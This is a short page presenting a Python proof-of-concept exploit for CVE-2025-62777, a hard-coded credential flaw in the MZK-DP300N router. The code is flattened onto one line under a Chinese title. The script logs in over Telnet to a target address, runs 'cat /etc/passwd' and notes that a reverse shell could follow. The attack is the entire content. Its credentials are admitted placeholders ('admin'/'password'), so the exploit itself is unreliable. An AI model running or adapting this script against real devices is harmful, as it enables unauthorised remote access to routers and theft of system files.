CVE-2025-62777 MZK-DP300N 硬编码凭证漏洞导致远程命令执行

#!/usr/bin/env python3 """ CVE-2025-62777 PoC - MZK-DP300N Hard-coded Credentials Exploit Target: MZK-DP300N < = 1.07 Attack Vector: Telnet with hard-coded credentials CVSS: 8.8 (High) """ import socket import sys import time def exploit_telnet(target_ip, username, password): """ Connect to MZK-DP300N via Telnet using hard-coded credentials and execute arbitrary commands. """ try: # Connect to Telnet service sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, 23)) # Read initial banner banner = sock.recv(1024) print(f"[+] Received banner: {banner.decode('utf-8', errors='ignore')}") # Login process time.sleep(1) sock.sendall(username.encode() + b'\n') time.sleep(0.5) sock.sendall(password.encode() + b'\n') time.sleep(1) # Check if login successful response = sock.recv(4096) print(f"[+] Login response: {response.decode('utf-8', errors='ignore')}") if b'#' in response or b'$' in response or b'BusyBox' in response: print("[+] Login successful! Executing commands...") # Execute arbitrary command cmd = b'cat /etc/passwd\n' sock.sendall(cmd) time.sleep(1) output = sock.recv(4096) print(f"[+] Command output:\n{output.decode('utf-8', errors='ignore')}") # Execute reverse shell or other commands as needed return True else: print("[-] Login failed!") return False except Exception as e: print(f"[-] Error: {str(e)}") return False finally: sock.close() def main(): if len(sys.argv) < 2: print("Usage: python3 cve_2025_62777.py <target_ip>") print("Example: python3 cve_2025_62777.py 192.168.1.1") sys.exit(1) target = sys.argv[1] # Hard-coded credentials for MZK-DP300N (to be extracted from firmware) # Note: Actual credentials should be extracted from the vulnerable firmware hardcoded_user = "admin" # Example credential hardcoded_pass = "password" # Example credential print(f"[*] Exploiting CVE-2025-62777 on {target}") print(f"[*] Using hard-coded credentials: {hardcoded_user}:{hardcoded_pass}") exploit_telnet(target, hardcoded_user, hardcoded_pass) if __name__ == "__main__": main()